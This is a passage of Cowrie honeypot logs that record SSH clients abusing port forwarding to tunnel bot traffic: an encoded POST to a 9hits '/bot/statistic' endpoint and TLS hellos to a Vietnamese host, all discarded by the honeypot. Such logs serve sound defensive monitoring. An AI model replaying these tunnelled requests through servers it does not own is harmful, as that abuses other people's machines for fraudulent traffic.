\\xf8\"\\x8dR\\x05P\\xdd}=\\x02\\xc3\\x16w\\xe6\\xcd\\xc5\\xd9\\xfcN\\x16J\\x91\\x15a\\xc3D$w\\xa9m\\xb6\\x01\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 2\\x13\\xf9m\\xed\\xad\\xe7pi\\xc1\\xd7c3\\x00\\x02\\xc6\\xcb\\xf7\\x81\\xa9\\x8b\\xb8?>\\xb5\\xd6\\x9ap\\xd2\\xc5Y/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:43.450994Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.425556Z","src_ip":"23.175.50.52","session":"2d7d4baa6316","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.695708Z","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.754121Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; SM-T560) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RzFRTXJYTz5EJnMhTUFDcQ%3D%3DB2TLAzeO0BaMMLqd6JVNIE87zeZjXVX8yMp1UXaLl19WualjXHp7U%2Fn2haJfNNXrmG9gpvhhCVLKRzp4b%2FIANFw4to1pRWFCXwrPSKfbJR3kUWXLxdfxuEtp2fvr67cDAtrxdI36lk%2FOwuBP1v4Fcnkpab7M%2Bv9w%2BF7fzepcIIIsyQ1%2BrKsaVNQCbF9FT9XQMLYKinn7bNU%2B11jsqc9obf2UYZ7zuwoAW96vCza8ARk5%2B96L8rFlRr28bqdoSI6q11Z9iummmxclqi72FQwN2GtRtQyF4OTdaLcvju1MzbAE6%2F%2FEE%2FZrSUm9WDkZRah7QXSqZUK13LhNEQEBxfc6TCziVoufDlOCQKrmsPPRBmR5t%2BOn%2FFEFEl%2F%2BaNKwU3NbHwMNP1%2BvnA2pE%2BrjT7Bj3yw3jwjaIyCt7zqaARvMflG1%2BkNfLYCWH1DJ0lizynDaeb674iYZqcafJhMdmUQJK410koklBcTu0FInFA3kCqvHPYC6cMQoWyT4wzPF8ujBBPV90DbWVAnbOrelO7ijq0tQ2AKuRn2jO7NZjIqkkS7ORyvLPoKnEyhTa35c94w4fjucPP9vyoKvCQNDalaqseEvEi9%2FR2v110%2BVLYQtFn2BDoLZ6IwpQ3kqvQnaNfbgTU9rM1t3rqfnnsU0aJq9U8kYi0%2FudSxrHaWuhsQ9qU0AUH%2FWVpjLsSWPds1K64bGxUYbv8E5OOjNbUSLtrZFrkBFTjvVD6VPPm7Cb1kvX5rexLwo3yLBfo%2BsWwR3Yob%2F0ROPHPWoDjPgpe6ZKztMwDxnrNWkIbOW6MT1kU9A25SSfqovJrWRR9YHxmkejD1ra%2FZ2dMI26Ld%2BnRpDoY5XNzGk68IlzMla9lk%2FZ1Q2FUfznDyJ%2B9DdF%2Fj94xFoKqX1UxhwJ%2FxQqC8sjTui2EcpjkNU0Sgg%2BhH6vx2YXeEUgOn6Wxw0wPV7m%2FFrZLpBaJHV%2Bk2lVYZj8fvrzqGxW14UgWrQpzF4%2FuA5BkjK24%2FZTNc7bNzefkU7hrthziiHA8ewDCvVb1KpoFJV0zwmqFazDy0zyVJtRS5%2FE0iYhSFi1Cs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.4; SM-T560) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RzFRTXJYTz5EJnMhTUFDcQ%3D%3DB2TLAzeO0BaMMLqd6JVNIE87zeZjXVX8yMp1UXaLl19WualjXHp7U%2Fn2haJfNNXrmG9gpvhhCVLKRzp4b%2FIANFw4to1pRWFCXwrPSKfbJR3kUWXLxdfxuEtp2fvr67cDAtrxdI36lk%2FOwuBP1v4Fcnkpab7M%2Bv9w%2BF7fzepcIIIsyQ1%2BrKsaVNQCbF9FT9XQMLYKinn7bNU%2B11jsqc9obf2UYZ7zuwoAW96vCza8ARk5%2B96L8rFlRr28bqdoSI6q11Z9iummmxclqi72FQwN2GtRtQyF4OTdaLcvju1MzbAE6%2F%2FEE%2FZrSUm9WDkZRah7QXSqZUK13LhNEQEBxfc6TCziVoufDlOCQKrmsPPRBmR5t%2BOn%2FFEFEl%2F%2BaNKwU3NbHwMNP1%2BvnA2pE%2BrjT7Bj3yw3jwjaIyCt7zqaARvMflG1%2BkNfLYCWH1DJ0lizynDaeb674iYZqcafJhMdmUQJK410koklBcTu0FInFA3kCqvHPYC6cMQoWyT4wzPF8ujBBPV90DbWVAnbOrelO7ijq0tQ2AKuRn2jO7NZjIqkkS7ORyvLPoKnEyhTa35c94w4fjucPP9vyoKvCQNDalaqseEvEi9%2FR2v110%2BVLYQtFn2BDoLZ6IwpQ3kqvQnaNfbgTU9rM1t3rqfnnsU0aJq9U8kYi0%2FudSxrHaWuhsQ9qU0AUH%2FWVpjLsSWPds1K64bGxUYbv8E5OOjNbUSLtrZFrkBFTjvVD6VPPm7Cb1kvX5rexLwo3yLBfo%2BsWwR3Yob%2F0ROPHPWoDjPgpe6ZKztMwDxnrNWkIbOW6MT1kU9A25SSfqovJrWRR9YHxmkejD1ra%2FZ2dMI26Ld%2BnRpDoY5XNzGk68IlzMla9lk%2FZ1Q2FUfznDyJ%2B9DdF%2Fj94xFoKqX1UxhwJ%2FxQqC8sjTui2EcpjkNU0Sgg%2BhH6vx2YXeEUgOn6Wxw0wPV7m%2FFrZLpBaJHV%2Bk2lVYZj8fvrzqGxW14UgWrQpzF4%2FuA5BkjK24%2FZTNc7bNzefkU7hrthziiHA8ewDCvVb1KpoFJV0zwmqFazDy0zyVJtRS5%2FE0iYhSFi1Cs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.757715Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.792747Z","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.869555Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\xd1m\\xb4\\x01u[\\x16\\xc37\\xb3\\x10\\xedW\\r*\\x8f\\x87L\\x90\\xc0\\xf8\\xf2W\\x88\\x0f\\xffm\\xf1?\\xb8P \\xe9\\xf57]\\x1cN\\x83\\x8d\\xb8\\xedT\\x1d7\\x9a\\xbb\\xaaC\\xff<l\\x86\\x9c\\xfc{\\xca\\xa2F\\xec\\xf0W\\xd9\\xa3\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 K\\xa8\\xd2\\xf6r\\xa0[\\x97\\xb4\\\\\\x9fW\\x15\\xc4R=X\\x84t\\xdf\\xba\\x8c\\xb49\\xfc\\x04$K\\x07\\xd7c@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03U\\xd1m\\xb4\\x01u[\\x16\\xc37\\xb3\\x10\\xedW\\r*\\x8f\\x87L\\x90\\xc0\\xf8\\xf2W\\x88\\x0f\\xffm\\xf1?\\xb8P \\xe9\\xf57]\\x1cN\\x83\\x8d\\xb8\\xedT\\x1d7\\x9a\\xbb\\xaaC\\xff<l\\x86\\x9c\\xfc{\\xca\\xa2F\\xec\\xf0W\\xd9\\xa3\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 K\\xa8\\xd2\\xf6r\\xa0[\\x97\\xb4\\\\\\x9fW\\x15\\xc4R=X\\x84t\\xdf\\xba\\x8c\\xb49\\xfc\\x04$K\\x07\\xd7c@\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.872446Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:46.940627Z","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:47.001634Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xafV\\x1a\\xe1\\xed\\xa8(\\xe3\\xfb\\xb7\\xbfZ\\xedB\\x9b\\x92\\x9c\\xfe@\\xd4\\xe5\\xefo\\x0c\\x92\\x94\\x8b\\x94\\x14w\\xddw tV\\xfd\\n\\xf8w\\xfan\\xdbi\\x82\\x91\\x82\\xb1h\\xa3R\\x96\\xacPA\\xd3O\\xbf~&\\xb8\\xf7_:\\xc1^\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd7\\x16\\x0c\\xf5\\xb5\\xf1~%\\xb8\\x0c\\x8e\\xb0n[\\x17\\x0c\\xben\\xba\\xdc\\xab|L\\x91\\xa4\\xc2\\x033\\x85\\x9e\\xbf5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xafV\\x1a\\xe1\\xed\\xa8(\\xe3\\xfb\\xb7\\xbfZ\\xedB\\x9b\\x92\\x9c\\xfe@\\xd4\\xe5\\xefo\\x0c\\x92\\x94\\x8b\\x94\\x14w\\xddw tV\\xfd\\n\\xf8w\\xfan\\xdbi\\x82\\x91\\x82\\xb1h\\xa3R\\x96\\xacPA\\xd3O\\xbf~&\\xb8\\xf7_:\\xc1^\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd7\\x16\\x0c\\xf5\\xb5\\xf1~%\\xb8\\x0c\\x8e\\xb0n[\\x17\\x0c\\xben\\xba\\xdc\\xab|L\\x91\\xa4\\xc2\\x033\\x85\\x9e\\xbf5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:47.005407Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:49.234706Z","src_ip":"23.175.50.52","session":"dfbdc20634d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.431710720062256,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:55:53.088016Z","src_ip":"172.81.62.90","session":"58927ac3a368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":64384,"dst_ip":"10.17.0.5","dst_port":22,"session":"659d6b6cf766","protocol":"ssh","message":"New connection: 173.208.188.210:64384 (10.17.0.5:22) [session: 659d6b6cf766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:56:00.114938Z"}
